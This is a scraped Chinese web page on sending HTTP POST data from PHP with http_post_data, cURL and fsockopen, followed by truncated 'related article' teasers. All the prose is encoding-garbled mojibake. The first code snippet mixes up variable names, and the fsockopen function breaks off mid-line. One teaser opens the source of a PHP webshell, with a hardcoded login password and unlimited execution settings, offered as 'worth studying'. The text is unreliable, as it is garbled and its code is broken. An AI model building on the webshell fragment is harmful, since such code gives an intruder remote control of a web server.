Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

PHPÏòÌض¨URL·¢ËÍPOSTÊý¾Ý

½ñÌ칤×÷ÖÐÓöµ½ÁËPOSTÊý¾ÝµÄÎÊÌ⣬ÐèÒªÏòÒ»¸öÌض¨µÄURL·¢ËÍPOSTÊý¾Ý¡£
ÏÖ½«PHP·¢ËÍPOSTÊý¾ÝµÄ·½Ê½×ܽáÏ£¬·½±ã×Ô¼ºÔ츣ºóÈË£º
·½·¨Ò»£ºHTTPº¯Êý·¢ËÍ·½Ê½
˵Ã÷£º$dataΪPOST·¢Ë͵ÄÊý¾Ý£º$keyΪ²ÎÊýÃû£¬$valΪ²ÎÊýÖµ
$URL = "http://pre.payment.sdoa.sdo.com/";
$data = $key1."=".val1."&".$key2."=".val2;
$PostResult = http_post_data($BGWURL,$data );
·½·¨¶þ£ºCurl PostÊý¾Ý
function _curl_post($url, $vars) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1 );
curl_setopt($ch, CURLOPT_HEADER, 0 ) ;
curl_setopt($ch, CURLOPT_POSTFIELDS, "var=".$vars);
$data = curl_exec($ch);
curl_close($ch);
if ($data)
return $data;
else
return false;
}
·½·¨Èý£ºfsockopen·½Ê½
˵Ã÷£º$dataΪPOST·¢Ë͵ÄÊý¾Ý£º$dataΪÊý×éÐÎʽ
function posttohost($url, $data) {
$url = parse_url($url);
if (!$url) return "couldn't parse url";
if (!isset($url['port'])) { $url['port'] = ""; }
if (!isset($url['query'])) { $url['query'] = ""; }
$encoded = "";
while (list($k,$v) = each($data)) {
$encoded .= ($encoded ? "&" : "");
$encoded .= rawurlencode($k)."=".rawurlencode($v);
}
$fp = fsockopen($url['host'], $url['port'] ? $url['port'] : 80);
if (!$fp) return "Failed to open socket to $url[host]";
fputs($fp, sprintf("POST %s%s%s HTTP/1.0\n", $url['path'], $url['query'] ? "?" : "", $url['query']));
fputs($fp, "Host: $url[host]\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($encoded) . "\n");
fputs($fp, "Connection: close\n\n");
fputs($fp, "$encoded\n");
$line = fgets($fp,1024);
if (!eregi("^HTTP/1\.. 200", $line)) return;
$results = ""; $inheader = 1;
while(!feof($fp)) {
$line = fgets($fp,1024);
if ($inheader && ($line == "\n" || $line == "\r\n")) {
$inheader = 0;
}
elseif (!$inheade


Ïà¹ØÎĵµ£º

Ò»php´óÂí£¬ÖµµÃÑо¿

<?php
#--Config--#
$login_password= '123456'; //ÕâÊÇÃÜÂë
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......

phpº¯Êýget_magic_quotes_gpcÏê½â

set_magic_quotes_runtimeÊÇÓÃÀ´ÉèÖÃPHP »·¾³ÅäÖõıäÁ¿ magic_quotes_runtime Öµ¡£
0-¹Ø±Õ 1-´ò¿ª
³ÌÐòÖмì²â״̬ÓÃget_magic_quotes_runtime,·µ»Ø 0 ±íʾ¹Ø±Õ±¾¹¦ÄÜ£»·µ»Ø 1 ±íʾ±¾¹¦ÄÜ´ò¿ª¡£Èô
magic_quotes_runtime ´ò¿ªÊ±£¬ËùÓÐÍⲿÒýÈëµÄÊý¾Ý¿â×ÊÁÏ»òÕßÎļþµÈµÈ¶¼»á×Ô¶¯×ªÎªº¬Óз´Ð±ÏßÒç³ö×Ö·ûµÄ×ÊÁÏ¡ ......

winÏÂApache mysql PHPÅäÖÃ

1¡¢HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL
Ŀ¼ɾ³ý
2¡¢HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\Eventlog\Application\MySQL
Ŀ¼ɾ³ý
3¡¢HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\MySQL
Ŀ¼ɾ³ý ......

ÔÚApacheÖÐÖ§³ÖPHPµÄÅäÖòÎÊý

´ò¿ª httpd.conf Îļþ ¼ÓÈëÒÔÏÂÅäÖÃ
ÒÔphpÄ£¿éÅäÖÃapache2.2.x 
#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL by hooyes
PHPIniDir "D:/php-5.2.6-Win32/"
LoadFile D:/php-5.2.6-Win32/php5ts.dll
LoadFile D:/php-5.2.6-Win32/li ......

PHPÖеÄstristr()£¬strstr()£¬strpos()ËٶȱȽÏ


PHPÖеÄstristr()£¬strstr()£¬strpos()ËٶȱȽÏ

²âËÙ´úÂë:

<?php
function getmicrotime()
{
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ